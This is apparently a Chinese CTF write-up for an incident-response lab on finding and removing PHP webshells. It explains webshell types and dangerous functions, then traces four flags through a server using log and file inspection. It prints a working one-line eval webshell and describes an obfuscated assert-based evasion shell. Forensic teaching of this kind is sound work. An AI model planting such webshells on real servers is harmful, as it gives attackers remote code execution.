应急响应1-webshell查杀
一、引言
逆向手心血来潮来试试应急响应(其实是半决赛太闲了)
参考文章:玄机——第一章 应急响应-webshell查杀 wp(手把手保姆级教学)-CSDN博客
二、webshell
2.1 WebShell是什么
WebShell是攻击者植入Web服务器中的恶意脚本。攻击者通过HTTP请求向脚本传递参数,从而执行代码、操作文件、读取数据库或控制服务器。
2.2 Apache、PHP与WebShell的关系
Apache负责接收HTTP请求,并根据网站根目录寻找对应文件;PHP解释器负责执行PHP代码。
2.3 常见WebShell类型
1)一句话木马:代码短小,通过参数执行代码。
2)隐藏WebShell:使用隐藏文件名或伪装成正常文件。
3)免杀WebShell:通过编码、字符串拼接和变量函数逃避检测。
4)不死马:被删除后能够自动重新生成。
2.4 常见危险函数
| 函数 | 作用 |
|---|---|
eval() | 执行PHP代码 |
assert() | 旧版本中可执行字符串代码 |
system() | 执行系统命令 |
exec() | 执行系统命令 |
shell_exec() | 通过Shell执行命令 |
base64_decode() | 解码隐藏内容 |
file_put_contents() | 向文件写入数据 |
三、wp-玄机-第一章 应急响应-webshell查杀
链接到服务器之后,先让web手帮忙找一下正确的web服务默认根目录,fulucky师傅给参考指令
netstat -tulnp #显示当前服务器开了哪些端口,是哪些进程开的
通过这个指令本题可以确定我们的服务员是apache2

然后我们找一下它每个域名对应的配置文件和虚拟主机。
apache2ctl -S

此时我们已经发现根目录了,进去看一下文件信息

此时我们注意到shell.php不太寻常,cat一下里面的内容

<?php phpinfo();@eval($_REQUEST[1]);?>
很清晰的一个一句话木马,通过eval将读取到的1的参数执行,但是并没有flag,我们再看看目录下的其他文件,我们进入到include中去查看,里面的gz.php不太正常,cat内容找到flag1,同时观察文件开始执行的命令

@session_start(); #启动会话
@set_time_limit(0); #将PHP脚本的最长执行时间设置为无限制
@error_reporting(0); #关闭PHP错误报告
#开头的@都是错误抑制运算符:即使函数执行出错,也尽量不在页面中显示错误信息
特征与哥斯拉的特征值相符合,此时我们便可以找到flag2
对于flag3,题目提到隐藏文件,此时我们通过指令:
ls -la
列出隐藏文件,并通过筛查寻找对应文件,最后找到对应文件木马,如下图:

flag4是一个免杀马,免杀马顾名思义就是通过一些混淆处理来绕靠杀毒软件和检查机制的木马,虽然我们不能直接通过webshell特去进行定位,但此时我们可以通过分析日志找出对应木马
寻找日志首先地址为/var/log中,然后再去看access.log中都有哪些可以的请求

找到这么一块可疑内容,为什么是/wap/top.php呢,首先传入参数1=phpinfo()为一条具体的php语句,及其符合木马传参时候的情况,其次后面传入fuc和fuc2,看起来很像拼接内容

最终查看/wap/top.php内容,里面进行base64解密并进行异或和拼接,显然不正常,通过运行发现C被赋值为“assert”,又因为php允许变量当做函数名,于是执行了assert("phpinfo()"),确定flag4

Comments NOTHING